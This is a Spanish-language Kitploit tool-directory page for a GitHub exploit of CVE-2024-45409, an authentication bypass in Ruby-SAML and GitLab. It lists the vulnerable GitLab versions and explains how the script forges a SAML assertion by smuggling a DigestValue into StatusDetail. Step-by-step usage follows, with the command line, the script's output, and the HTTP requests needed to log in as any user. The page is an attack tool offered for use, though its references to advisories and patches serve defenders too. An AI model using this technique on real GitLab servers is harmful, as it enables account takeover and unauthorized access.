Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-45409 — Exploit de bypass de autenticación de Ruby-SAML / GitLab (CVE-2024-45409) | Kitploit
Herramientas/GitHubGitHub/synacktiv/cve-2024-45409
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubsynacktiv/cve-2024-45409

CVE-2024-45409

Exploit de bypass de autenticación de Ruby-SAML / GitLab (CVE-2024-45409)

Ver Repositorio
8413hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Explotación de omisión de autenticación Ruby-SAML / GitLab (CVE-2024-45409)

Este script explota la CVE-2024-45409 que permite a un atacante no autenticado con acceso a cualquier documento SAML firmado emitido por el IDP forjar una Respuesta/Aserción SAML y obtener acceso como cualquier usuario en GitLab.

Todas las siguientes versiones de GitLab (CE/EE) son vulnerables:

  • < 16.11.10
  • 17.0.0 < 17.0.8
  • 17.0.0 < 17.1.8
  • 17.0.0 < 17.2.7
  • 17.0.0 < 17.3.3

Este exploit inyecta el DigestValue de la aserción modificada en el elemento StatusDetail, permitiendo contrabandear el selector XPath que usará este valor en lugar del que está en el bloque SignedInfo.

Requisitos

  • Una respuesta SAML válida emitida por el IDP

Uso

root@kitploit:~
apt install python3-lxml

Intercepta primero la URL y la respuesta SAML del IDP codificada en Base64, luego modifica el contenido XML usando el script.

root@kitploit:~
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]

SAMLResponse=PHNhbWxwOlJlc3Bv[...]
root@kitploit:~
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
	Digest algorithm: sha256
	Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64

Después, reemplaza el valor del parámetro SAMLResponse con la salida del script. Si la autenticación es exitosa, serás redirigido a la página principal de GitLab.

root@kitploit:~
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]

<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>

Referencias

  • https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
  • https://github.com/advisories/GHSA-jw9c-mfg7-9rx2
  • https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-45409
  • https://www.cvedetails.com/cve/CVE-2024-45409/
Descargar herramienta